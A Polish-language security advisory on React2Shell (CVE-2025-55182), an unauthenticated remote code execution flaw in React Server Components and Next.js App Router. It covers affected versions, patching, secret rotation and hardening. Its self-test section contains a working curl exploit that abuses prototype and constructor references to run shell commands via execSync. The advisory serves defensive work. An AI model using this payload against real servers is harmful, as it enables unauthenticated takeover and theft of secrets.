Krytyczna podatność w React Server Components
React2Shell, oznaczona jako CVE-2025-55182, to krytyczna podatność typu Remote Code Execution w protokole React Server Components. Otrzymała maksymalną ocenę CVSS 10.0, ponieważ umożliwia nieuwierzytelnionemu atakującemu wykonanie kodu na serwerze za pomocą odpowiednio przygotowanego żądania HTTP.
Problem znajduje się w mechanizmie deserializacji danych przesyłanych do React Server Functions. Zagrożone mogą być również aplikacje, które samodzielnie nie definiują Server Functions, ale korzystają z frameworka obsługującego React Server Components. React zaleca natychmiastową aktualizację zależności.
Na czym polega podatność?
React Server Components wykorzystują własny protokół komunikacji, określany jako Flight. Pozwala on przesyłać pomiędzy klientem i serwerem nie tylko zwykłe dane, lecz również odwołania do komponentów, funkcji i asynchronicznych wartości.
Podczas przetwarzania przygotowanego przez atakującego ładunku serwer mógł niewłaściwie zinterpretować kontrolowane dane jako wewnętrzny model Reacta. Specjalnie skonstruowane odwołania do prototypów, konstruktorów oraz obiektów typu thenable umożliwiały dotarcie do mechanizmów wykonywanych po stronie Node.js.
W rezultacie atakujący mógł:
- wykonywać polecenia systemowe z uprawnieniami procesu aplikacji,
- odczytywać zmienne środowiskowe i sekrety,
- uzyskać dostęp do baz danych oraz usług wewnętrznych,
- modyfikować pliki dostępne dla aplikacji,
- instalować dodatkowe oprogramowanie,
- wykorzystać przejęty serwer do dalszych ataków.
Do wykorzystania podatności nie było wymagane wcześniejsze zalogowanie.
Które aplikacje są podatne?
Pierwotnie podatność występowała w następujących pakietach:
react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.
Dotyczyła ich wersji:
- 19.0.0,
- 19.1.0,
- 19.1.1,
- 19.2.0.
W przypadku Next.js zagrożone były przede wszystkim aplikacje wykorzystujące App Router w:
- Next.js 15.x,
- Next.js 16.x,
- wydaniach canary od 14.3.0-canary.77.
Według pierwotnego komunikatu Next.js podatność nie dotyczyła stabilnego Next.js 13 i 14, aplikacji korzystających wyłącznie z Pages Routera ani Edge Runtime. Wpływ na Next.js śledzono początkowo jako CVE-2025-66478, ale numer ten został później uznany za duplikat CVE-2025-55182. Szczegóły znajdują się w komunikacie Next.js.
Sprawdzenie używanych wersji
Najpierw warto sprawdzić faktycznie zainstalowane zależności:
npm ls next react react-dom \
react-server-dom-webpack \
react-server-dom-parcel \
react-server-dom-turbopack
W przypadku pnpm:
pnpm list next react react-dom \
react-server-dom-webpack \
react-server-dom-parcel \
react-server-dom-turbopack
Należy sprawdzić nie tylko package.json, ale także lockfile oraz wersje znajdujące się w zbudowanym obrazie produkcyjnym. Samo zmodyfikowanie deklaracji zależności bez ponownego zbudowania i wdrożenia aplikacji nie usuwa podatności z działającego serwera.
Test podatności
Poniższy test należy wykonywać wyłącznie wobec własnej aplikacji albo systemu, na którego badanie otrzymano jednoznaczną zgodę. Domyślnie kieruje on żądanie do lokalnego serwera i uruchamia nieszkodliwe polecenie whoami.
url="http://localhost:3000/"
command="whoami"
payload=$(cat <<'EOF'
{
"status": "resolved_model",
"reason": "",
"then": "$1:__proto__:then",
"value": "{\"then\":\"$B\"}",
"_response": {
"_prefix": "throw Object.assign({digest: process.mainModule.require('child_process').execSync('COMMAND').toString('base64')});",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
EOF
);
response=$(curl -s -X POST "$url" \
-H 'Next-Action: set-version' \
--form-string "0=${payload/COMMAND/$command}" \
--form-string '1="$@0"' \
--insecure
)
echo "$response" | sed -n 's/^[^:]*:E//p' | jq -r .digest | base64 -d
Ładunek próbuje doprowadzić do wykonania polecenia podczas deserializacji danych RSC. Wynik zostaje zakodowany jako Base64, umieszczony w polu digest, a następnie odczytany i zdekodowany po stronie klienta.
Jeśli test zwróci nazwę użytkownika procesu Node.js, oznacza to skuteczne wykonanie polecenia na serwerze.
Brak wyniku nie jest jednak wystarczającym dowodem bezpieczeństwa. Zachowanie może zależeć między innymi od wersji frameworka, sposobu budowania aplikacji, reverse proxy, WAF-u i formatu odpowiedzi. Podstawową metodą oceny pozostaje sprawdzenie zależności i aktualizacja do bezpiecznych wersji.
Jak usunąć podatność?
Najbezpieczniejszym rozwiązaniem jest aktualizacja frameworka oraz ponowne wdrożenie aplikacji:
npm install next@latest react@latest react-dom@latest
Dostępne jest również narzędzie przygotowane dla projektów Next.js:
npx fix-react2shell-next
Pierwsze poprawki React2Shell pojawiły się w:
- 19.0.1,
- 19.1.2,
- 19.2.1.
Po publikacji React2Shell wykryto jednak dodatkowe podatności związane z odmową usługi i ujawnieniem kodu źródłowego. Dlatego nie należy zatrzymywać się na pierwszej poprawionej wersji. React wskazał później wersje 19.0.4, 19.1.5 i 19.2.4 jako zawierające komplet ówczesnych poprawek. Obecnie najlepiej przejść na najnowsze wspierane wydanie właściwe dla używanej linii projektu. React opisał dodatkowe problemy w osobnym komunikacie.
Po aktualizacji należy:
- zaktualizować lockfile,
- usunąć stary build i pamięć cache,
- zbudować aplikację od początku,
- wdrożyć nowy obraz lub artefakt,
- potwierdzić wersje działające na produkcji,
- ponownie przeskanować aplikację.
Tymczasowe reguły WAF mogą ograniczyć część prób wykorzystania podatności, ale nie zastępują aktualizacji. Next.js podkreśla, że nie istnieje pełne obejście niewymagające zainstalowania poprawki.
Co zrobić, jeśli aplikacja była publicznie dostępna?
Jeżeli podatna aplikacja działała publicznie, należy założyć, że mogła zostać zaatakowana. Sama aktualizacja zamyka lukę, ale nie usuwa skutków wcześniejszego włamania.
Po wdrożeniu poprawki warto:
- zmienić hasła i klucze zapisane w zmiennych środowiskowych,
- unieważnić tokeny API i sesje administracyjne,
- zmienić dane dostępowe do baz danych,
- sprawdzić logi żądań POST z nagłówkami RSC lub Next-Action,
- przeanalizować nietypowe procesy i połączenia wychodzące,
- sprawdzić zadania cron, pliki tymczasowe oraz ostatnie modyfikacje,
- odbudować środowisko z zaufanego obrazu,
- zweryfikować aktywność w usługach dostępnych z przejętych poświadczeń.
Next.js zalecał rotację sekretów szczególnie w przypadku aplikacji, które pozostawały niezałatane i publicznie dostępne po pojawieniu się działających exploitów.
Jak ograniczyć skutki podobnych podatności?
React2Shell pokazuje, że podatność w warstwie protokołu może ominąć zabezpieczenia zaimplementowane w samej aplikacji. Nawet kod bez oczywistych funkcji wykonujących polecenia może stać się podatny przez zależność frameworka.
Dlatego proces Node.js powinien:
- działać jako użytkownik bez uprawnień administratora,
- mieć dostęp wyłącznie do potrzebnych plików,
- korzystać z możliwie ograniczonych danych dostępowych,
- nie przechowywać sekretów niewymaganych podczas działania,
- działać w kontenerze z ograniczonym systemem plików,
- mieć ograniczony dostęp do sieci wewnętrznej,
- podlegać monitoringowi nietypowych procesów i połączeń.
Warto również automatycznie kontrolować zależności w CI oraz regularnie aktualizować framework, zamiast odkładać poprawki bezpieczeństwa do większej migracji.
Podsumowanie
React2Shell był szczególnie niebezpieczny ze względu na połączenie trzech cech: brak konieczności uwierzytelnienia, możliwość zdalnego wykonania kodu oraz szerokie wykorzystanie React Server Components przez popularne frameworki.
Jeżeli aplikacja korzysta z Next.js App Router albo innych implementacji RSC, należy sprawdzić faktycznie wdrożone wersje, zainstalować najnowsze poprawki i ponownie zbudować środowisko. Jeśli podatny serwer był dostępny publicznie, konieczna jest również rotacja sekretów oraz analiza potencjalnego incydentu.